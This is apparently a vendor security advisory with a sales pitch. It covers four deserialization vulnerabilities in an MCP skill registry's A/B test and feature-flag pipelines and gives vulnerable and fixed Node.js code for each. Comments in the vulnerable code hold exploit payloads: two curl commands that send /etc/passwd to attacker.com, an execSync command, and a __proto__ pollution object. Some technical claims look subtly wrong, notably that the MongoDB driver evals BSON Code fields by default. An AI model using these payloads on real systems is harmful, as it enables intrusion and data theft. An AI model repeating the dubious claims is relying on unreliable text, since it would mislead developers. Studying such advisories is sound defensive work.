Claude MCP skill insecure deserialization — skill A/B testing and feature flag pipeline endpoints (SA-SKL-DESER70)
SA-SKL-DESER70 identifies four insecure deserialization vulnerabilities in MCP skill registry skill A/B testing and feature flag pipeline endpoints. DESER70-001 exploits yaml.load with DEFAULT_FULL_SCHEMA deserializing A/B test configuration from Redis — a !!js/function gadget embedded in the abTestConfig.onVariantAssignment callback field achieves remote code execution on every variant assignment event, which fires at every page load for every user of every skill with an active A/B test. DESER70-002 exploits BSON Code type deserialization of a feature flag evaluation model from MongoDB — the featureFlagEvaluatorFn field containing a BSON Code object triggers eval() during feature flag evaluation, which executes at every page load for any skill with active feature flags. DESER70-003 exploits MessagePack deserialization of an A/B test event queue entry from Redis — an attacker who can write to Redis inserts a payload that sets __proto__.skipABTestAuth to true, polluting Object.prototype and disabling authentication checks for all subsequent A/B testing API requests in the same worker process. DESER70-004 exploits node-serialize deserialization of feature flag result aggregation data — an IIFE gadget in the serialized payload achieves RCE at aggregation time, which is reachable from any user viewing a skill's feature flag status page.
yaml.load() DEFAULT_FULL_SCHEMA — !!js/function in abTestConfig.onVariantAssignment achieves RCE at every variant assignment event triggered by any user loading any skill pagefeatureFlagEvaluatorFn field triggers eval() during feature flag evaluation at every page load for any skill with active feature flags__proto__.skipABTestAuth:true pollutes Object.prototype, disabling authentication for all subsequent A/B testing API requests in same workernode-serialize — IIFE gadget achieves RCE at aggregation time reachable from any user viewing skill feature flag statusDESER70-001 — yaml.load RCE via abTestConfig.onVariantAssignment callback
The A/B test pipeline stores experiment configuration objects in Redis serialized as YAML. The configuration includes a onVariantAssignment callback field that is intended to hold a named function identifier for post-assignment processing. The pipeline reads this configuration using yaml.load() with the default DEFAULT_FULL_SCHEMA, which enables the !!js/function YAML type tag. An attacker who can write to the Redis instance — via a Redis AUTH bypass, an SSRF that reaches the Redis port, or a compromised registry worker that shares the Redis namespace — can overwrite the A/B test configuration with a payload that embeds a !!js/function gadget in the onVariantAssignment field. When the pipeline deserializes this configuration to assign a user to a variant, Node.js instantiates the embedded function and executes it in the registry worker's process context. Because variant assignment fires at every page load for every user of every skill with an active A/B test, the RCE trigger rate scales with traffic — a high-traffic skill may trigger thousands of RCE executions per minute.
// DESER70-001 — VULNERABLE: yaml.load with DEFAULT_FULL_SCHEMA on A/B test config
const yaml = require('js-yaml');
const redis = require('../redis');
async function getABTestConfig(skillId, testId) {
const raw = await redis.get(`abtest:config:${skillId}:${testId}`);
// DEFAULT_FULL_SCHEMA enables !!js/function — attacker payload:
// onVariantAssignment: !!js/function 'function(){require("child_process").exec("curl attacker.com/$(cat /etc/passwd | base64)")}'
return yaml.load(raw);
}
async function assignVariant(skillId, testId, userId) {
const config = await getABTestConfig(skillId, testId);
const variant = config.variants[userId.charCodeAt(0) % config.variants.length];
if (config.onVariantAssignment) {
await config.onVariantAssignment({ skillId, testId, userId, variant });
}
return variant;
}
Variant assignment fires at every page load for every user of every active A/B test — the RCE execution rate scales with legitimate traffic, making detection by anomaly thresholding ineffective. FAILSAFE_SCHEMA eliminates all non-JSON-compatible YAML types including !!js/function; Zod schema validation rejects any config that does not match the expected structure before it is used; named handler lookup replaces arbitrary callback fields with a registry-controlled dispatch table.
// DESER70-001 — FIXED: FAILSAFE_SCHEMA; Zod ABTestConfigSchema; named handler lookup
const yaml = require('js-yaml');
const { z } = require('zod');
const redis = require('../redis');
const { abTestHandlers } = require('../handlers/ab-test');
const ABTestConfigSchema = z.object({
variants: z.array(z.string()).min(2).max(10),
trafficSplit: z.array(z.number()).optional(),
onVariantAssignment: z.string().optional()
});
async function getABTestConfig(skillId, testId) {
const raw = await redis.get(`abtest:config:${skillId}:${testId}`);
const parsed = yaml.load(raw, { schema: yaml.FAILSAFE_SCHEMA });
return ABTestConfigSchema.parse(parsed);
}
async function assignVariant(skillId, testId, userId) {
const config = await getABTestConfig(skillId, testId);
const variant = config.variants[userId.charCodeAt(0) % config.variants.length];
if (config.onVariantAssignment) {
const handler = abTestHandlers[config.onVariantAssignment];
if (handler) await handler({ skillId, testId, userId, variant });
}
return variant;
}
CVSS score: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H — Base Score 8.5 (HIGH); scope changed because RCE escapes the A/B test worker to the registry host; high traffic multiplier amplifies exploitation surface.
DESER70-002 — BSON Code eval() on featureFlagEvaluatorFn during feature flag evaluation
The feature flag pipeline stores flag evaluation models in MongoDB. The evaluation model document includes a featureFlagEvaluatorFn field intended to reference a named evaluation strategy. The pipeline reads this document using the MongoDB Node.js driver with default options, which preserves BSON Code objects as JavaScript functions and executes them via eval() when invoked. An attacker who can write to the MongoDB instance — via a MongoDB authentication bypass, an SSRF that reaches the MongoDB port, or injection through an unvalidated flag configuration update endpoint — can overwrite the evaluation model with a document that contains a BSON Code object at the featureFlagEvaluatorFn field. When the pipeline evaluates a feature flag for any user loading a skill page, the driver instantiates the BSON Code object and evaluates it, executing arbitrary JavaScript in the registry worker's process. Because feature flag evaluation runs at every page load for any skill with active flags, the attack surface is as broad as the registry's entire active user base.
// DESER70-002 — VULNERABLE: BSON Code type triggers eval() on featureFlagEvaluatorFn
const { MongoClient } = require('mongodb');
const client = new MongoClient(process.env.MONGO_URI);
async function evaluateFeatureFlag(skillId, flagId, userId) {
const db = client.db('registry');
// Default options preserve BSON Code objects as executable functions
// Attacker inserts: { featureFlagEvaluatorFn: Code('process.mainModule.require("child_process").execSync("id > /tmp/pwn")') }
const model = await db.collection('feature_flag_models').findOne({ skillId, flagId });
if (model.featureFlagEvaluatorFn) {
return model.featureFlagEvaluatorFn({ userId, flagId });
}
return model.defaultValue;
}
BSON Code type deserialization silently upgrades a data-layer write primitive into RCE — an attacker with any MongoDB write path achieves arbitrary code execution in the registry worker on every feature flag evaluation. Setting promoteValues: false and using a projection that excludes the featureFlagEvaluatorFn field from query results prevents Code objects from reaching application code; a named strategy dispatch table replaces dynamic evaluation with registry-controlled logic.
// DESER70-002 — FIXED: promoteValues:false; projection excludes field; named strategy
const { MongoClient } = require('mongodb');
const { flagEvaluationStrategies } = require('../strategies/feature-flags');
const client = new MongoClient(process.env.MONGO_URI, { promoteValues: false });
async function evaluateFeatureFlag(skillId, flagId, userId) {
const db = client.db('registry');
const model = await db.collection('feature_flag_models').findOne(
{ skillId, flagId },
{
projection: {
featureFlagEvaluatorFn: 0, // never fetch executable field
defaultValue: 1,
evaluationStrategy: 1,
conditions: 1
}
}
);
if (model.evaluationStrategy) {
const strategy = flagEvaluationStrategies[model.evaluationStrategy];
if (strategy) return strategy({ userId, flagId, conditions: model.conditions });
}
return model.defaultValue;
}
CVSS score: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H — Base Score 8.5 (HIGH); scope changed because RCE runs in registry worker context with access to all skills' flag data.
DESER70-003 — MessagePack prototype pollution disables A/B test authentication process-wide
The A/B test pipeline uses Redis as an event queue, storing A/B test assignment events as MessagePack-serialized payloads. The queue consumer reads these payloads and deserializes them using a MessagePack library that does not sanitize key names during deserialization. An attacker who can write to the Redis event queue — via any of the same Redis write paths described in DESER70-001 — can insert a crafted payload that includes a __proto__ key containing {"skipABTestAuth": true}. When the MessagePack library deserializes this payload, it assigns the skipABTestAuth property directly to Object.prototype. Because JavaScript prototype pollution propagates to all subsequent object lookups in the same process, the authentication middleware for all A/B testing API endpoints that checks if (req.context.skipABTestAuth) now reads true for every request — authenticated or not — until the worker process is restarted. This disables the authentication gate for the entire A/B testing API surface for the lifetime of the polluted worker, allowing unauthenticated access to variant assignment manipulation, test result exfiltration, and configuration overwrite endpoints.
// DESER70-003 — VULNERABLE: MessagePack deserialization without __proto__ sanitization
const msgpack = require('msgpackr');
const redis = require('../redis');
async function processABTestEventQueue(skillId) {
const raw = await redis.lpop(`abtest:events:${skillId}`);
if (!raw) return;
// Attacker payload: { "__proto__": { "skipABTestAuth": true }, "eventType": "variant_assigned" }
// After deserialization, Object.prototype.skipABTestAuth === true process-wide
const event = msgpack.unpack(raw);
await handleABTestEvent(event);
}
// In auth middleware — now always bypassed after pollution:
function requireABTestAuth(req, res, next) {
if (req.context.skipABTestAuth) return next();
if (!req.session?.userId) return res.status(401).json({ error: 'unauthorized' });
next();
}
Prototype pollution via MessagePack is process-wide and permanent until restart — a single malicious queue entry disables authentication for all A/B testing endpoints for every request handled by the affected worker. The sanitizeDeserialized() helper strips __proto__, constructor, and prototype keys from deserialized objects; using Object.hasOwn() or hasOwnProperty.call() in the auth check instead of prototype-chain traversal prevents polluted values from affecting the gate.
// DESER70-003 — FIXED: sanitizeDeserialized(); hasOwnProperty.call in auth check
const msgpack = require('msgpackr');
const redis = require('../redis');
function sanitizeDeserialized(obj) {
if (typeof obj !== 'object' || obj === null) return obj;
const safe = Object.create(null);
for (const key of Object.keys(obj)) {
if (key === '__proto__' || key === 'constructor' || key === 'prototype') continue;
safe[key] = typeof obj[key] === 'object' ? sanitizeDeserialized(obj[key]) : obj[key];
}
return safe;
}
async function processABTestEventQueue(skillId) {
const raw = await redis.lpop(`abtest:events:${skillId}`);
if (!raw) return;
const event = sanitizeDeserialized(msgpack.unpack(raw));
await handleABTestEvent(event);
}
// In auth middleware — uses own-property check, not prototype chain:
function requireABTestAuth(req, res, next) {
const ctx = req.context || {};
if (Object.prototype.hasOwnProperty.call(ctx, 'skipABTestAuth') && ctx.skipABTestAuth) return next();
if (!req.session?.userId) return res.status(401).json({ error: 'unauthorized' });
next();
}
CVSS score: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:L — Base Score 8.2 (HIGH); scope changed because prototype pollution affects the entire worker process; authentication bypass gives full access to A/B test manipulation endpoints.
DESER70-004 — node-serialize IIFE RCE in feature flag result aggregation
The feature flag pipeline aggregates flag evaluation results using a job that reads serialized aggregation records from a database table and deserializes them with node-serialize. The node-serialize library supports immediately invoked function expressions (IIFE) in serialized strings via the _$$ND_FUNC$$_ marker prefix. An attacker who can write to the aggregation records table — via an SQL injection in the flag event ingestion endpoint, a compromised upstream event publisher, or a crafted flag evaluation response from a malicious skill server — can insert a serialized payload containing an IIFE gadget. When the aggregation job reads and deserializes this record, Node.js executes the embedded function immediately in the registry worker's process context. This RCE is reachable from any user viewing a skill's feature flag status page, because the aggregation job runs in response to flag evaluation events triggered by page views. The node-serialize library has no maintained upstream with a patched version — the fix requires replacing it entirely.
// DESER70-004 — VULNERABLE: node-serialize IIFE RCE in feature flag aggregation
const serialize = require('node-serialize');
const { db } = require('../db');
async function aggregateFeatureFlagResults(skillId, flagId) {
const records = await db.query(
'SELECT payload FROM feature_flag_aggregations WHERE skill_id = ? AND flag_id = ?',
[skillId, flagId]
);
for (const record of records) {
// Attacker payload: {"_$$ND_FUNC$$_":"(function(){require('child_process').execSync('curl attacker.com/'+Buffer.from(require('fs').readFileSync('/etc/passwd')).toString('base64'))})()"}
const aggregation = serialize.unserialize(record.payload);
await processAggregation(aggregation);
}
}
node-serialize is an unmaintained library with no patched version — any application using it for untrusted input deserialization is permanently vulnerable to IIFE RCE. Replace node-serialize with JSON.parse combined with Zod schema validation; quarantine any stored payloads that contain the _$$ND_FUNC$$_ marker before migration by scanning the aggregation records table and evicting malicious entries.
// DESER70-004 — FIXED: JSON.parse + Zod FeatureFlagAggregationSchema; evict _$$ND_FUNC$$_
const { z } = require('zod');
const { db } = require('../db');
const FeatureFlagAggregationSchema = z.object({
flagId: z.string(),
skillId: z.string(),
totalEvaluations: z.number().int().nonnegative(),
variantCounts: z.record(z.string(), z.number().int().nonnegative()),
windowStart: z.string().datetime(),
windowEnd: z.string().datetime()
});
const IIFE_MARKER = '_$$ND_FUNC$$_';
async function aggregateFeatureFlagResults(skillId, flagId) {
const records = await db.query(
'SELECT id, payload FROM feature_flag_aggregations WHERE skill_id = ? AND flag_id = ?',
[skillId, flagId]
);
for (const record of records) {
if (record.payload.includes(IIFE_MARKER)) {
await db.query(
'DELETE FROM feature_flag_aggregations WHERE id = ?',
[record.id]
);
continue;
}
const aggregation = FeatureFlagAggregationSchema.parse(JSON.parse(record.payload));
await processAggregation(aggregation);
}
}
CVSS score: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H — Base Score 8.5 (HIGH); scope changed because RCE runs in registry worker context; reachable from any user viewing feature flag status page.
SkillAudit checks for all SA-SKL-DESER vulnerability patterns including yaml.load with unsafe schema on A/B test configs, BSON Code type deserialization on feature flag models, MessagePack prototype pollution in event queues, and node-serialize IIFE gadgets in aggregation pipelines. Get a graded report with line-level code fixes in 60 seconds.
Get a free audit